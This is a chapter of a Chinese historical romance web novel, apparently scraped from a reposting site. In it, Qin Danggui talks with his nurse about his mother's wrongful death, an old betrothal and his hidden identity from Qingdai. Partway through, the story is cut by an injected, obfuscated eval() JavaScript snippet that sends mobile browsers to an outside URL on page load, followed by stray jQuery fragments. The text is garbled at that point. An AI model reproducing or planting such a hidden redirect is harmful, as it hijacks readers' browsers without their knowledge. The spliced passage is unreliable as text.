巳时已过,日光正盛。
一路上拉着货物的马车奔忙而走。
繁忙中透着一丝慌乱。
然而路过青黛和春娘子合开的店铺时。
「青春」二字又让秦当归眼前的气象焕然一新。
混乱逐渐归于秩序,听着奶母查到的消息,秦当归内心百思萦绕。
寻找楚家后人,尚有一丝希望。
医女案害的母亲被逼上吊,是死是活还是未知数。
一说,是流落市井,可找了这些年,至今是下落不明。
若要洗刷母亲的冤屈,只是在官家面前敲登闻鼓怕是没用。
逼上位者低头,才是他现在的决定。
可是,这件事难上又难,他一个人倒没什么。
只是不想青黛也跟着受苦。
“那小娘子……可是公子将别院搬到此处的原由?”刘嬷嬷此话一出,当归眸子便化为一潭春水。
一点戾气也消散殆尽,那些个谋算的诡计和筹划,暂时全然放下了。
秦当归扶着刘嬷嬷往宅门走,脚步放缓了些,笑着开口,“还是奶娘你明白我的心啊……她还不知我就是秦侯爷之子秦当归,所以……”
刘嬷嬷不动声色地抿唇叹气,“也罢,老身方才已经陪着公子演戏了,哥儿就放心吧。只是……”
“奶娘~”秦当归眉峰拧成疙瘩,喉结滚动着却没再出声。
玄袍摆动如风,他右手攥着腰间佩剑,指节泛白。
嬷嬷就是唠叨几句,决定权还是在他这里。
“哥儿,你再撒娇耍赖,嬷嬷我也得说一句,你和楚家那位,才是正头定了娃娃亲的,这也是我们苏大姑娘的心愿,我就是这段婚约的人证!不过,具体怎么办,还在哥儿你自己。”刘嬷嬷眼尾如刀,眼里满是焦灼,立着眉数落道,“你是一品侯府镇国公的儿子,难道还能只有一个大娘子吗?楚家姑娘你不能不管!”
“奶娘~若是找到楚大姑娘,我自会当妹妹好生照顾,这娶回家就不必了,当做亲妹妹岂不是更能为她博个好前程……”秦当归一脸讨好的笑容,左手挠了挠后脑勺,露出憨憨的痴样儿。
“你不要,到时候被别人抢去了,你可别后悔!当年,大姑娘还是翰林御医院医女的时候,就以苏沉香之名,与姚家庶女佩兰、承恩县主嫡女周白薇,互称姐妹。
说好了,有福同享有难同当,当即义结金兰。
还说定了,以后有了孩子,若都是儿子,就拜把子;若都是女儿,就结为手帕交。
若是有儿有女,就指腹为婚,结为夫妻。
后来,姚家姑娘就嫁给了楚木蓝,那时他已是御医院的院判正。
没多久,我们姑娘嫁给了秦侯爷,生下大姐时,姚娘子的儿子都快两岁了。
过了两年吧,周家姑娘才……”
“正式入宫,做了当今官家赵昭衍的太子妃。不久便正式登基,生下了当今太子赵景天。而同时,我也出生了。”秦当归微微垂着眼,睫毛在眼下投出浅影。
县主本是皇家骨血,虽同当今皇帝有亲缘,但较远。
先皇安抚禅位的皇弟,给她的孩子一个荣誉称号:便是承恩县主。
既无封地,也便空有地位而已。
“是,如今三人中健在的……只有周娘子了,可她已经贵为皇后了,我们高攀不起。可怜我们姑娘,平白无辜遭了冤枉,因为个药方,被医女案牵连至死。我不怪娘娘当时没能劝住官家,赐下了白绫……只怪我们姑娘没等到好消息便在个密闭的闺房里,生生就失踪了……官家后来没追究,还算是讲点怜悯之心,这要是当时入宫的是娘子,简直不堪设想。
那时,最可怜的还是姚姑娘,已经怀了身孕,却被个不清不楚的案子给一刀抹了脖子,连个尸首都被他们秘密处理了,这是主持公道,还是做贼呢……我们姑娘还为她找了两个奶孩子的,我记得,一个姓李,一个姓林,若是见面,没准我还能认得出呢。可怜这世道变得,天天逼着人喝药,你说……”刘嬷嬷越说声音越发颤,鬓角的碎发打在湿润的脸上,原本挺直的腰板也弯了些。
瞧着奶娘是越说越伤心,秦当归眉梢挑得老高,眼底闪着促狭的光,赶紧打断她,“是,后来物是人非,我长姐锦灯嫁入皇家,也生下了聿安,现下已经快六岁了。”
“我们大姑娘机智过人,先一步和姚娘子定下了你这段姻缘。这些年了,我一直在想,你说,屠刀之下,真的连个那么小的孩子都不放过吗……若是楚远志、楚茯苓还在世该多好啊。算下来,那楚茯苓,快二十岁了,正是出嫁的好年纪,是你本来的娘子……这可是从皇后娘娘和太子手上抢下来的婚约,你还推三阻四的。”
“这不是,有青娘子了么,楚茯苓虽是青梅,却不及青娘从天而降,且她现在住在楚宅里,我便当做她是我的指腹为婚娘子有何不妥呢?”
刘嬷嬷回眸望了眼了身后,虎子已然安排了几人帮着整理货架,“也罢,无巧不成书……公子,你休要瞒着老身,我瞧你对娘子那可是十成十的真心,这要遮遮掩掩可不是你的性格啊,难道是……因为查我们大姑娘的事儿?”
秦当归目光放远放沉,语气也低沉下来,“我亲生母亲,二十年前因医女案被恶意牵连,含冤而死在那不见天光之处……不管她是否还活着,她的仇就是我的仇!为了追查真相,不管是和皇后娘娘合作,还是对心爱之人隐瞒身份,就是我去谢家、炎王那里去卧底,我也心甘情愿……”
沉默在两人之间蔓延,就连偶尔飞过的燕子也噤了声。
“哥儿有这份心,姑娘无论是在天上,还是在人间,都能感知,就不要多伤感了……方才,我瞧着青黛姑娘,越发觉得面善,就看那面相也觉着亲切。但观那番行事,倒让我又惊又佩服。这丫头是个有心的,做事向来有章法,不卑不亢,是个当大娘子的料子。你们日后成婚,我也放心。只是有一点,瞧着她也心事重重的,你要多宽慰,多担当才是!”刘嬷嬷抬手摸了摸脸颊上的药贴,眉头微舒,声音带着几分惯有的爽利。
他们都走到巷口了,青黛复又追出来,说方才忘了件重要的事——
便麻利地从从袖中取出一方用活泉调制、形似创可贴的药贴,仔细贴在刘嬷嬷脸颊的患处。
眼眸里温情脉脉,还满了歉意,“嬷嬷勿怪,方才急着看信,便把这事耽搁了。”
又敛衽行礼,方才碎步赶回去,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16749488|178135||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
虎子已在青黛的摊位帮着忙活了。
母子二人似乎都想到了青黛方才的模样,相视一笑。
“奶娘,你教训的是!”秦当归点头间,语气里添了几分赞叹,“她不仅心细,眼光也准。我方才演绎侯府嫡子的那点心思,本想藏着,没成想被她一眼看穿,却又不戳破,只借着玩笑的方式提点我,既给足了体面,又透着机灵劲儿。这般通透,可不是寻常人能及的……巧言令色,却临危不惧,真乃百变小娘子!”
秦当归怔怔地,越发出了神。
瞧着这般模样,刘嬷嬷心里已然有了猜测,“哥儿,你是男子汉大丈夫!就当主动剖诚,当主动表明过往,怎么还用小娘子猜来猜去,徒增烦恼……两个人,有什么话可要当面锣对面鼓!”
“是,我记下了。寻得时机,便主动坦白。”秦当归虽有一丝敷衍之意,但内心依然惦记着到底找个什么契机告诉青黛了,正在踌躇之时,忽的想起来刚才奶娘说查出来的喜讯,确认道,“你说,那人叫……苏亦简?我生母真是苏家的流落在外的嫡次女,也就是苏亦简的亲妹妹?”
“可不是么,你说这多巧!
那苏老爷也是个药理透彻的,只可惜生前未能相认……
姑娘虽知道自己叫苏沉香,可自幼在上元灯会走失,便离了家。
被一位叫梁芣苢的医女嬷嬷抚养长大,自然而然成了医女。
说来也巧,从小便能将《素问》《灵枢》背的滚瓜烂熟。
什么《圣惠方》《圣济总录》《小儿药证直诀》《脉诀》,都能说上一段,总是念叨着「左寸属心,合于小肠」、「浮脉为阳表病居,迟脉虚寒数脉热」……
十二三岁脉条便摸得极准,日常研读翰林医官使王怀隐的方子,极赞其言「夫医者,非仁爱之士,不可托也」,总和我说,你瞧瞧,这医者,第一要仁爱。
极为注重养生,继承王家的「药膳」的思想,「圣人春夏养阳,秋冬养阴」……还提出自己的想法说:「百草属天,人食循理。万物无恒药,巧配乃有功」……”
这话一出,唰地若电光点亮了秦当归的记忆。
八年前,他也听过这话:
「天授百草,人食合道。物本非药,善伍方成事。」
那是出自小小的青黛。
出自八岁娃娃昏迷中的背诵……
秦当归不觉一阵心酸。
旧时执拗女童,今竟出落得恁般伶俐;添了几分世故,反教他心底软了几分。
叵耐那小娘子浑不识得故人,莫非早将八岁的事……忘得一干二净了?
这些日子的相处,也窥探不出一丝一毫她回忆起旧时的神情……
这边他们走了没多久,青黛正与虎子说着今日早些收摊的话。
忽闻脆生生一句:“这摊上的细点,本姑娘全包了!”
但见谢雪芍绛纱襦裙灼灼如火,惊得青黛手中茶筅当啷坠地。
***
有道是:
青语牵前忆,黛身萦旧丝。
八年风露会,真意绕何枝。
(初稿创作于2025/9/18,精修于2025/9/23,万福泉源于晋江文学城首发)